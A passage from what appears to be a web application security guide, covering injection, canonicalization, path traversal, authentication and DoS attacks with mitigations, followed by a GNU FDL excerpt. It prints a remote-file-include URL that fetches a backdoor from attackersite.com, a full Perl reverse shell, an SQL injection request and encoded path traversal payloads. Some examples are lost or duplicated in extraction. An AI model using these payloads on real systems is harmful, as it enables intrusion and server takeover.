Famous examples of cross-site scripting have been found in sites such as Paypal.com, Apple.com, Citibank's online cash-payment site C2IT.com9, and CNN.com.

14.2. Mitigation Techniques

If the web server does not specify which character encoding is in use, the client cannot tell which characters are special. Web pages with unspecified character-encoding work most of the time because most character sets assign the same characters to byte values below 128. Determining which characters above 128 are considered special is somewhat difficult. Web servers should set the character set, then make sure that the data they insert is free from byte sequences that are special in the specified encoding.

This can typically be done by settings in the application server or web server. The server should define the character set in each html page as below. The above tells the browser what character set should be used to properly display the page. In addition, most servers must also be configured to tell the browser what character set to use when submitting form data back to the server and what character set the server application should use internally. The configuration of each server for character set control is different, but is very important in

understanding the canonicalization of input data. Control over this process also helps markedly with internationalization efforts. Filtering special meta characters is also important. HTML defines certain characters as "special", if they have an effect on page formatting.

In an HTML body:

"<" introduces a tag. "&" introduces a character entity. Note: Some browsers try to correct poorly formatted HTML and treat ">" as if it were "<".

In attributes: double quotes mark the end of the attribute value. single quotes mark the end of the attribute value. "&" introduces a character entity.

In URLs: Space, tab, and new line denote the end of the URL. "&" denotes a character entity or separates query string parameters. Non-ASCII characters (that is, everything above 128 in the ISO-8859-1 encoding) are not allowed in URLs.

The "%" must be filtered from input anywhere parameters encoded with HTTP escape sequences are decoded by server-side code. Ensuring correct encoding of dynamic output can prevent malicious scripts from being passed to the user. While this is no guarantee of prevention, it can help contain the problem in certain circumstances. The application can make an explicit decision to encode untrusted data and leave trusted data untouched, thus preserving mark-up content. Encoding untrusted data can introduce additional problems however. Encoding a "<" in an untrusted stream means converting it to "<". This conversion makes the string longer, so any length checking of the input should be done only after canonicalization and sanitization of the data. See the section on 'Canonicalization Attacks' below.

14.3. Further Reading

Appendix B in this document contains source code samples for Data Validation.
http://www.cert.org/tech_tips/malicious_code_mitigation.html

Chapter 15. Operating System Command Injection

15.1. OS Command Injection

Nearly every programming language allows the use of so called "system-commands", and many applications make use of this type of functionality. System-interfaces in programming and scripting languages pass input (commands) to the underlying operating system. The operating system executes the given input and returns its output to stdout along with various return-codes to the application such as successful, not successful etc. System commands can be a very convenient feature, which with little effort can be integrated into a web-application. Common usage for these commands in web applications are file handling (remove and copy), sending emails, and calling operating system tools to modify the applications input and output in various ways (filters).

Depending on the scripting or programming language and the operating-system it is possible to:

- Alter system commands
- Alter parameters passed to system commands
- Execute additional commands and OS command line tools
- Execute additional commands within executed command
- Alter system commands
- Alter system commands

Some common techniques for calling system commands in various languages that should be carefully checked include:

PHP

- require()
- include()
- eval()
- preg_replace() (with /e modifier)
- exec()
- passthru()
- ` (backticks)
- system()
- popen()

Shell Scripts

often problematic and dependent on the shell

Perl

- open()
- sysopen()
- glob()
- system()
- ` (backticks)
- eval()

Java (Servlets, JSP's)

- System.* (especially System.Runtime)

C and C++

- system()
- exec**()
- strcpy
- strcat
- sprintf
- vsprintf
- gets
- strlen
- scanf
- fscanf
- sscanf
- vscanf
- vsscanf
- vfscanf
- realpath
- getopt
- getpass
- streadd
- strecpy
- strtrns

15.2. Mitigation Techniques

There are several techniques that can be used to mitigate the risk of passing malicious information to system commands. The best way is to carefully limit all information passed to system commands to only known values. If the options that can be passed to the system commands can be enumerated, that list can be checked and the system can ensure that no malicious information gets through. When the options cannot be enumerated, the other option is to limit the size to the smallest allowable length and to carefully sanitize the input for characters, which could be used to launch the execution of other commands. Those characters will depend on the language used for the application, the specific technique of function being used, as well as the operating system the application runs on. As always, checks will also have to be made for special formatting issues such as Unicoded characters. The complexity of all of these checks should make it very clear why the "only accept known valid data" is the best and easiest approach to implement.

Chapter 16. Code Injection

16.1. Code Injection

In a code injection attack the attacker attempts to inject CGI code into the web application. This is a bit different from the other types of code injection, such as operating system commands or SQL queries. The best way to explain this would be to take a live example of a shopping cart software that had such a vulnerability discovered in it.

The osCommerce shopping cart comes with two files called /catalog/includes/include_once.php and / catalog/includes/include_once.php. Both these files reference a variable called as $include_file, which is not initialized within the code. For instance, the contents of $include_once.php are:

<? if (!defined($include_file . '__')) { define($include_file . '__', 1); include($include_file); } ?>

This code could be exploited by an attacker using a URL such as:

http://website.com/catalog/inludes/include_once.php?include_file=ANY_FILE

, he would be able to include any code he wants.

You could even include a file from a third-party location, such as the attacker's website. For instance, with the following code the attacker could determine the Unix version number:

http://website.com/catalog/inludes/include_once.php?include_file=http://attackersite.com/syscmd.php

Where, the contents of syscmd.php could be:

<? passthru("/bin/uname")?>

A more malicious attack would involve, the attacker writing a PHP script that took a particular input, and passed it to the 'passthru' call to be executed as a Unix system command. For instance, the contents of syscmd.php could be:

<? passthru("$cmd")?>

This code could be executed repeatedly by the attacker with a URL such as:

http://website.com/catalog/inludes/include_once.php?include_file=http://attackersite.com/syscmd.php?cmd=wget http://attackersite.com/backdoor.pl

Where the contents of backdoor.pl could be something like:

```
#!/usr/bin/perl use Socket; $execute= 'echo "`uname -a`";echo "`id`";/bin/sh';
$target="attackersite.com"; $port="9988"; $iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET,
PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error:
$!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR,
">&SOCKET"); system($execute); close(STDIN); close(STDOUT);
```

Since backdoor.pl would get downloaded below the $DocumentRoot in Apache, it could then be executed by the attacker, simple as http://website.com/backdoor.pl

On execution, the Perl code would pipe a Unix command shell back to the attacker's site, where he could then simple execute commands with the privilege level of the Apache web server. He could of course use local exploits for Linux kernel vulnerabilities and elevate his privileges.

16.2. Mitigation Techniques

There are multiple ways in which this problem can be mitigated. Besides input validation, the important measure to be implemented is to protect sensitive files such as include_once.php, so that they cannot be accessed directly by a user. This could be done with the help of .htaccess in Apache. The code could also be modified to make sure that the include_file variable is correctly initialized. Further, the attack also works because the PHP register_globals variable is ON. This lets the attacker initialize the variable include_file. As of PHP 4.2.0 this variable is set by default to OFF, and that's how it should stay.

Chapter 17. HTML Parameter Manipulation

17.1. HTML Parameter Manipulation

HTML parameter manipulation is done via form fields or cookie values. It involves modifying the values of those parameters that the web application assumes as specific values. Typically, these values are stored in cookies on the user's system, or they are hidden HTML form fields. In either case, the web application trusts these values and depends on them for its proper functioning.

One such attack is the price manipulation attack. This attack utilizes a vulnerability in which the total payable price of the purchased goods is stored in a hidden HTML field of a dynamically generated web page. An attacker can use a web application proxy such as Achilles10 or Paros11 to simply modify the amount that is payable, when this information flows from the user's browser to the web server. Another technique is to save the final payment page on the attacker's system, open it up in an editor, modify the values, and resubmit it. For instance, in a typically vulnerable shopping cart payment system, the submitted HTTP request would appear as:

merchant_code=AA11&orderid=7137107C17C&currency=USD&amount=879.00

The final payable price (currency=USD&amount=879.00) can be manipulated by the attacker to a value of his choice. This information is eventually sent to the payment gateway with whom the online merchant has partnered. If the volume of transactions is very high, the price manipulation may go completely unnoticed, or may be discovered too late. Repeated attacks of this nature could potentially cripple the viability of the online merchant.

A simple variation is manipulation of drop-down box entries, which list say countries or states, and the server-side code expects the user input to be any one of the values present in the drop-down list. However, it is trivial to manipulate this data and carry out any of the attacks listed herein, including SQL injection.

Another parameter manipulation attack is to modify the session ID or order ID or any other parameter that is being used to uniquely identify either the specific user or the user's specific transaction. Ideally, this parameter should be generated using a cryptographically secure randomization algorithm. However, if the web application uses its own proprietary randomization technique, which is not truly random enough, an attacker can manipulate URLs with modified parameter values to access information of other users or other transactions. For instance, in the above URL, if the order ID (orderid=712371007C17C) is not random enough, an attacker can write a custom Perl script to try and access the same URL but with brute-forced values for the orderid parameter, and potentially gain access to other user's transactions. This was illustrated in a paper by David Endler [ref 9], "Brute-Force Exploitation of Web Application Session IDs", where he explains how session IDs of sites like www.123greetings.com, www.register.com, and others could be trivially brute-forced.

Another possible variant is to simple enter alphabets where the application expects numeric values and vice-versa. This can at times yield interesting results. Typically, it will make the application display an error, which could reveal critical information. In one specific case, we were able to extract the database number and version by simply feeding a numeric value into the field of a Java program expecting numeric input:

http://www.myserver.com/navigate/page_id=AA

17.2. Mitigation Techniques

Do not trust user input and assume it to be in the expected format. Do not trust client-side javascript or VB Script code to clean up user input. Carry out input validation at the server side to ensure that user input is what it should be.

The best method of selecting session IDs is to depend on the application platform. ASP, JSP and PHP have their own session ID generating algorithms, which are better to rely on rather than create your own.

Chapter 18. Canonical Attack

18.1. Canonical Attacks

Canonicalization deals with the way in which systems convert data from one form to another. Canonical means the simplest or most standard form of something. Canonicalization is the process of converting something from one representation to the simplest form. Web applications have to deal with lots of canonicalization issues from URL encoding to IP address translation. When security decisions are made based on canonical forms of data, it is therefore essential that the application is able to deal with canonicalization issues accurately.

18.1.1. URL Encoding

The RFC 1738 specification defining Uniform Resource Locators (URLs) and the RFC 2396 specification for Uniform Resource Identifiers (URIs) both restrict the characters allowed in a URL or URI to a subset of the US-ASCII character set. According to the RFC 1738 specification, "only alphanumerics, the special characters "$-_. +!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL." The data used by a web application, on the other hand, is not restricted in any way and in fact may be represented by any existing character set or even binary data. Earlier versions of HTML allowed the entire range of the ISO-8859-1 (ISO Latin-1) character set; the HTML 4.0 specification expanded to permit any character in the Unicode character set.

URL-encoding a character is done by taking the character's 8-bit hexadecimal code and prefixing it with a percent sign ("%"). For example, the US-ASCII character set represents a space with decimal code 32, or hexadecimal 20. Thus its URL-encoded representation is %20. Even though certain characters do not need to be URL-encoded, any 8-bit code (i.e., decimal 0-255 or hexadecimal 00-FF) may be encoded. ASCII control characters such as the NULL character (decimal code 0) can be URL-encoded, as can all HTML entities and any meta characters used by the operating system or database. Because URL-encoding allows virtually any data to be passed to the server, proper precautions must be taken by a web application when accepting data. URL-encoding can be used as a mechanism for disguising many types of malicious code.

Here is a SQL Injection example that shows how this attack can be accomplished.

Original database query in search.asp:

```
sql = "SELECT lname, fname, phone FROM usertable WHERE lname='"
```

HTTP request:

```
http://www.myserver.com/search.asp?lname=smith%27%3bupdate%
20usertable%
```

Executed database query:

```
                SELECT lname, fname, phone FROM usertable WHERE
lname='smith'; update usertable
```

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after decoding is completed. It is usually the web server itself that decodes the URL and hence this problem may only occur on the web server itself.

18.1.2. Unicode

Unicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data can be entered using Unicode to disguise malicious code and permit a variety of attacks. RFC 2279 references many ways that text can be encoded.

Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's writing systems. Multi-octet characters, however, are not compatible with many current applications and protocols, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. UTF-8 has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII values, but it is transparent to other values.

The importance of UTF-8 representation stems from the fact that web-servers/applications perform several steps on their input of this format. The order of the steps is sometimes critical to the security of the application. Basically, the steps are "URL decoding" potentially followed by "UTF-8 decoding", and intermingled with them are various security checks, which are also processing steps.

If, for example, one of the security checks is searching for "..", and it is carried out before UTF-8 decoding takes place, it is possible to inject ".." in their overlong UTF-8 format. Even if the security checks recognize some of the non-canonical format for dots, it may still be that not all formats are known to it.

Consider the ASCII character "." (dot). Its canonical representation is a dot (ASCII 2E). Yet if we think of it as a character in the second UTF-8 range (2 bytes), we get an overlong representation of it, as C0 AE. Likewise, there are more overlong representations: E0 80 AE, F0 80 80 AE, F8 80 80 80 AE and FC 80 80 80 80 AE.

Table UCS-4 Range UTF-8 encoding 0x00000000-0x0000007F 0xxxxxxx 0x00000080 - 0x000007FF 110xxxxx 10xxxxxx 0x00000800-0x0000FFFF 1110xxxx 10xxxxxx 10xxxxxx 0x00010000-0x001FFFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 0x00200000-0x03FFFFFF 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 0x04000000-0x7FFFFFFF 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

Consider the representation C0 AE of a ".". Like UTF-8 encoding requires, the second octet has "10" as its two most significant bits. Now, it is possible to define 3 variants for it, by enumerating the rest of the possible 2 bit combinations ("00", "01" and "11"). Some UTF-8 decoders would treat these variants as identical to the original symbol (they simply use the least significant 6 bits, disregarding the most significant 2 bits). Thus, the 3 variants are C0 2E, C0 5E and C0 FE.

It is thus possible to form illegal UTF-8 encodings, in two senses:

- A UTF-8 sequence for a given symbol may be longer than necessary for representing the symbol.
- A UTF-8 sequence may contain octets that are in incorrect format (i.e. do not comply with the above 6 formats).

To further "complicate" things, each representation can be sent over HTTP in several ways:

- In the raw. That is, without URL encoding at all. This usually results in sending non-ASCII octets in the path, query or body, which violates the HTTP standards. Nevertheless, most HTTP servers do get along just fine with non-ASCII characters.
- Valid URL encoding. Each non-ASCII character (more precisely, all characters that require URL encoding - a superset of non ASCII characters) is URL-encoded. This results in sending, say, %C0%AE.
- Invalid URL encoding. This is a variant of valid URL encoding, wherein some hexadecimal digits are replaced with non-hexadecimal digits, yet the result is still interpreted as identical to the original, under some decoding algorithms. For example, %C0 is interpreted as character number ('C'-'A'+10)*16+('0'-'0') = 192. Applying the same algorithm to %M0 yields ('M'-'A'+10)*16+('0'-'0') = 448, which, when forced into a single byte, yields (8 least significant bits) 192, just like the original. So, if the algorithm is willing to accept non-hexadecimal digits (such as 'M'), then it is possible to have variants for %C0 such as %M0 and %BG.

It should be kept in mind that these techniques are not directly related to Unicode, and they can be used in non-Unicode attacks as well.

```
http://host/cgi-bin/bad.cgi?foo=../../bin/ls%20-al
```

URL Encoding of the example attack:

```
http://host/cgi-bin/bad.cgi?foo=..%2F../bin/ls%20-al
```

Unicode encoding of the example attack:

```
http://host/cgi-bin/bad.cgi?foo=..%c0%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%pc../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c0%9v../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c0%qf../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%8s../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%1c../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/ls%20-al
```

18.2. Mitigation techniques

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after UTF-8 decoding is completed. Moreover, it is recommended to check that the UTF-8 encoding is a valid canonical encoding for the symbol it represents.

http://www.ietf.org/rfc/rfc2279.txt?number=2279

Chapter 19. Path traversal

19.1. Path Traversal

Many web applications utilize the file system of the web server in a presentation tier to temporarily and/or permanently save information or load template or configuration files. The WWW-ROOT directory is typically the virtual root directory within a web server, which is accessible to a HTTP Client. Web Applications may store data inside and/or outside WWW-ROOT in designated locations. If the application does NOT properly check and handle meta-characters used to describe paths, for example "../", it is possible that the application is vulnerable to a "Path Traversal" attack. The attacker can construct a malicious request to return files such as /etc/passwd. This is often referred to as a "file disclosure" vulnerability. Traversing back to system directories that contain binaries makes it possible to execute system commands OUTSIDE designated paths instead of simply opening, including or evaluating file.

19.2. Mitigation Techniques

Where possible make use of path normalization functions provided by your development language. Also remove offending path strings such as "../" as well as their Unicode variants from system input. Use of "chrooted" servers can also mitigate this issue. Running a web server or any other server, in a 'chroot' involves configuring the system in a way where the web server believes its installation directory to be the system's root directory. Let say, Apache is installed under /usr/apache/. Creating a chroot jail would require copying those system files and folders from their original locations to corresponding locations under /usr/apache. For instance, if a particular file, say /etc/passwd was being referenced, then it would have to be copied to /usr/apache/etc/passwd. Ideally, an edited version of this file would be copied containing only those entries that are necessary for Apache to run. This would be done for all the other files as well as system libraries used by Apache. Thus you would create a sort of virtual Linux system under your main Linux system, which would have only those files and libraries that are absolutely necessary for the Apache web server. If an attacker did manage to compromise the server, he would simply not have any access to the systems' critical files and folders located outside the 'chroot' root directory.

Above all else by only accepting expected input, the problem is significantly reduced. We cannot stress that this is the correct strategy enough!

Chapter 20. Buffer Overflow

20.1. Buffer Overflows

Attackers use buffer overflows to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code - effectively taking over the machine. Buffer overflows are not easy to discover and even when one is discovered, it is generally extremely difficult to exploit. Nevertheless, attackers have managed to identify buffer overflows in a staggering array of products and components. Another very similar class of flaws is known as format string attacks.

Buffer overflow flaws can be present in both the web server or application server products that serve the static and dynamic aspects of the site, or the web application itself. Buffer overflows found in widely used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images, they open themselves to potential buffer overflow attacks. Literature on the topic of buffer overflows against widely used products is widely available. But, buffer overflows can also be found in custom web application code, and may even be more likely given the lack of scrutiny that web applications typically go through.

Buffer overflow flaws in custom web applications are less likely to be detected because there will normally be far fewer hackers trying to find and exploit such flaws in a specific application. If discovered in a custom application, the ability to exploit the flaw (other than to crash the application) is significantly reduced by the fact that the source code and detailed error messages for the application may not be available to the hacker. However, buffer overflow attacks against customized web applications can sometimes lead to interesting results. In some cases, we have discovered that sending large inputs can cause the web application or the back-end database to malfunction. Depending upon the component that is malfunctioning, and the severity of the malfunction, it is possible to cause a denial of service attack against the web site. In other cases, large inputs cause the web application to output an error message. Typically, this error message relates to a function in the code being unable to process the large amount of data. This can reveal critical information about the web technologies being used.

Almost all known web servers, application servers and web application environments are susceptible to buffer overflows, the notable exception being Java and J2EE environments, which are immune to these attacks (except for overflows in the JVM itself).

20.2. Further reading

Aleph One, "Smashing the Stack for fun and profit", http://www.phrack.com/show.php?p+49&a+14

Mark Donaldson, "Inside the buffer Overflow Attack: Mechanism, method, & Prevention,"

http://rr.sans.org/code/inside_buffer.php

20.3. Mitigation Techniques

Keep up with the latest bug reports for your web and application server products and other products in your Internet infrastructure. Apply the latest patches to these products. Periodically scan your website with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications. For your custom application code, you need to review all code that accepts input from users via the HTTP request and ensure that it provides appropriate size checking on all such inputs. This should be done even for environments that are not susceptible to such attacks as overly large inputs that are uncaught may still cause denial of service or other operational problems.

Chapter 21. Authorisation and Authentication attack

21.1. Authentication And Authorization Attacks

Authentication mechanisms that do not prohibit multiple failed logins can be attacked using tools such as Brutus12. Similarly, if the web site uses HTTP Basic Authentication or does not pass session IDs over SSL (Secure Sockets Layer), an attacker can sniff the traffic to discover user's authentication and/or authorization credentials.

Since HTTP is a stateless protocol, web applications commonly maintain state using session IDs or transaction IDs stored in cookie on the user's system. Thus this session ID becomes the only way that the web application can determine the online identity of the user. If the session ID is stolen (say through XSS), or it can be predicted, then an attacker can take over a genuine user's online identity vis-à-vis the vulnerable web site. Where the algorithm used to generate the session ID is weak, it is trivial to write a Perl script to enumerate through the possible session ID space and break the application's authentication and authorization schemes.

This was illustrated in a paper by David Endler [ref 9], "Brute-Force Exploitation of Web Application Session IDs", where he explains how session IDs of sites like www.123greetings.com, www.register.com, and others could be trivially brute-forced. Thus it was possible to access the unauthorized information simply by writing a Perl script that enumerated all possible IDs within a given range. The most pertinent point here is that although web application may have mechanisms to prevent a user from multiple password guessing attempts during authentication, they do not usually prevent a user from trying to brute-force sessions IDs by resubmitting the URLs.

Another variation of an authorization attack is called as the 'Forced browsing' attack. In this case, the attacker tries to access a sensitive part of the web application without going through the prior stages of authentication. For instance, the attacker may try to access the orders.php page directly, without first having successfully logged in at the login.php page.

The attacker may also bypass the normal flow of the application, and try and access those parts of the web application, which would not normally be accessible. These could include log files, configuration files, or source code, or in some cases sensitive data such as query outputs, people directories with their phones and email addresses, Excel spreadsheets, etc. This is typically done by crawling through the website, trying to determine the directory structure being used, and guessing directories with typical names such as /log/, /modules/, /temp/, /tmp/, /include/, /cgi-bin/, /docs/, /old/, /debug/, /data/, /test/, etc. In the worst case scenario, the attacker may even get access to the web site administration interface, or a SQL query input form, which may have been part of the debugging stage.

21.2. Mitigation Techniques

Brute-forcing of the web application's authentication mechanism can be mitigated by ensuring that your application has the following controls in place:

- Password complexity measures:

  does your application force users to choose complex passwords.
- Account lockout or timeout measures:

  does the application maintain state regarding previous failed logins in a given period of time. Ideally, the application should slow down the attacker's attempts after each failed login attempt. Also, after a preset number of failed login attempts, the user's account could be locked out for a specific period of time to prevent an attacker launching a series of password-guessing attacks.
- Prevention of automated attacks:

  Scripted or automated brute-force attacks of the authentication component can be handled by introducing dynamically generated 'gif' images, which contain a string that the user must enter along with his username and password. It allows for a variation of the two-factor authentication method.

Session ID brute-forcing can be mitigated by ensuring you have chosen strong session ID generation techniques. See the "Authorization" section in "Security Techniques" of the guide for more information on this. Another important measure is to ensure that session IDs are expired after a pre-determined interval to prevent session IDs being hijacked. Moreover, you may add code within your web application to detect access to different session IDs from the same source IP address. Also, do not use predictable names for your folders, and then secure them using proper access control rather than choosing security by obscurity.

Other attacks that violate your site's authorization schemes can be mitigated by designing the access control right from the start, listing out the users and groups, and their required privilege levels. This should result in a formal access control policy for your website.

A thorough penetration testing exercise may uncover any serious access control issues. If a source code audit is possible, then it is more likely to uncover logical flaws in the access control and authorization code.

An easy means of detecting a brute-force attempt against the authentication page or the session Id's is to code the web application in a way that it alerts the administrator for multiple failed logins for the same username or from the same IP address. However, this is not always a trivial exercise, and may not be possible in a web application that has already been developed and deployed.

In such a scenario, log analysis might reveal multiple accesses to the same page from the same IP address within a short period of time. Event correlation software such as Simple Event Correlator (SEC) 13 can be used to define rules to parse through the logs and generate alerts based on aggregated events. This could also be done by adding a Snort rule for alerting on HTTP Authorization Failed error messages going out from your web server to the user, and SEC can then be used to aggregate and correlate these alerts.

Chapter 22. Nullbyte Carriagereturn Linefeed Attack

22.1. Null byte and CRLF attacks

While web applications may be developed in a variety of programming languages, these applications often pass data to underlying lower level C-functions for further processing and functionality.

If a given string, lets say "AAA\0BBB" is accepted as a valid string by a web application (or specifically the programming language), it may be shortened to "AAA" by the underlying C-functions. This occurs because C/C++ perceives the null byte (\0) as the termination of a string. Applications that do not perform adequate input validation can be fooled by inserting null bytes in "critical" parameters. This is normally done by URL Encoding the null bytes (%00). In special cases it is possible to use Unicode characters.

The attack can be used to:

- Disclose physical paths, files and OS-information
- Truncate strings
- Truncate Paths
- Truncate Files
- Truncate Commands
- Truncate Command parameters
- Bypass validity checks, looking for substrings in parameters
- Cut off strings passed to SQL Queries

The most popular affected scripting and programming languages are:

- Perl (highly)
- Java (File, RandomAccessFile and similar Java-Classes)
- PHP (depending on its configuration, which is covered in 'Language Specific Security')

Another similar attack works by injecting the carriage-return (CR) and linefeed (LF) characters into user input. If say, the user input is being used to make entries in the application or web server's log files, entering the CRLF characters may potentially allow the attacker to write log entries of his choice into the log files.

22.2. Mitigation techniques

Preventing null byte attacks requires that all input be validated before the application acts upon it. The same applies for CRLF as well. This could be done using the mod_security directive 'SecFilterByteRange 32 126', which allows only ASCII characters 32 to 126 as valid input.

Chapter 23. Denial of Service Attack

23.1. Denial of Service attacks

Denial of Service (DoS) attacks have been primarily targeted against known software, with vulnerabilities that would allow the DoS attack to succeed. Traditionally, DoS attacks have been rarely useful against custom web applications. However, there are techniques that can be used to create DoS situations by exploiting web application vulnerabilities.

The easiest way in which a DoS attack can be launched against an application is to overwhelm the transaction processing capability of the application using automated scripts. For instance, if the account creation page is a simple HTML form, an attacker can write a script to create thousands of accounts per day, and quickly fill up the back-end database. It will also eat up the application or web servers response capability to genuine users. This technique could be used not just for creating new account, but also for multiple logins for the same account, multiple bogus transactions, and any other processing module that the attacker can call in an automated fashion.

A common denial of service attack against operating systems is to lockout user accounts if an account lockout policy is in place. The same technique could be used against a web application as well, if it locks out user accounts after a pre-determined interval of failed authentication attempts. Using an automated script, an attacker would try to enumerate various user accounts and lock them out.

Other denial of service technique may simply involve using any of the attack vectors described in this section, if that particular attack causes resource starvation or an application crash. For instance, feeding a large buffer into a susceptible component of the web application may cause it to either crash that component or the web application itself.

23.2. Mitigation techniques

One of the most widely used mitigation techniques is the one mentioned in the session ID brute-forcing mitigation section. The account creation or transaction confirmation page should contain a dynamically generated image, which displays a string that the user must enter in order to continue with the transaction.

To mitigate against malicious account lockouts of the application users, ensure that it is extremely difficult for an attacker to enumerate valid user accounts in the first place. If for some reason, the application is built in a way where it is not possible to prevent users from knowing the user IDs of other users (say a web-based emails service), then ensure that the after say 3 failed logins, the user must type in the authentication credentials along with the dynamically generated string image. This will drastically slow down an attacker. After 3 more failed logins at this stage, the user's account will be locked out. The application could then provide a means for the user to unlock his/her account using the same mechanism

used in the 'forgot password' scheme.

Another option might be to use mod_throttle with Apache, or the RLimitCPU, RlimitMem, RlimitNProc directives of Apache.

23.3. Further reading

http://www.corsaire.com/white-papers/040405-application-level-dos-attacks.pdf

V. Language and Technology Specific Guidelines

Chapter 24. Language and technology specific Guidelines

24.1. Overview

VI. Appendixes

Appendix A. GNU Free Documentation License

Version 1.1, March 2000

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts,

in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

